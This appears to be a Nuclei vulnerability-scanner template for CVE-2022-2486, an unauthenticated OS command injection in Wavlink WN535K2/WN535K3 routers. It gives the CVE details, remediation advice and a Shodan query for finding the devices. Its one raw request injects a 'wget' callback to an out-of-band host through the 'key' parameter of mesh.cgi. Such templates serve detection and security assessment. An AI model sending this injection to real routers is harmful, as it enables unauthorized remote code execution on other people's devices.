Wavlink WN535K2/WN535K3 - OS Command Injection

id: CVE-2022-2486

info:
  name: Wavlink WN535K2/WN535K3 - OS Command Injection
  author: For3stCo1d
  severity: critical
  description: |
    Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in an unknown part of the file /cgi-bin/mesh.cgi?page=upgrade via manipulation of the argument key. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20mesh.cgi.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2486
    - https://vuldb.com/?id.204537
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2486
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2486
    cwe-id: CWE-78
    epss-score: 0.97331
    epss-percentile: 0.99885
    cpe: cpe:2.3:h:wavlink:wl-wn535k2:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn535k2
    shodan-query: http.title:"Wi-Fi APP Login"
  tags: cve2022,cve,iot,wavlink,router,rce,oast

http:
  - raw:
      - |
        GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://{{interactsh-url}};%27 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 500
# digest: 4b0a0048304602210099cf7b401d12d74ed6b3e3cb7843ae70994f0020a30ef42cae07410922e0d799022100c732b7f6cb38a4fdb450bf0c3f513ea4197bf67458c16c953bb5842e6f30a2b8:922c64590222798bb761d5b6d8e72950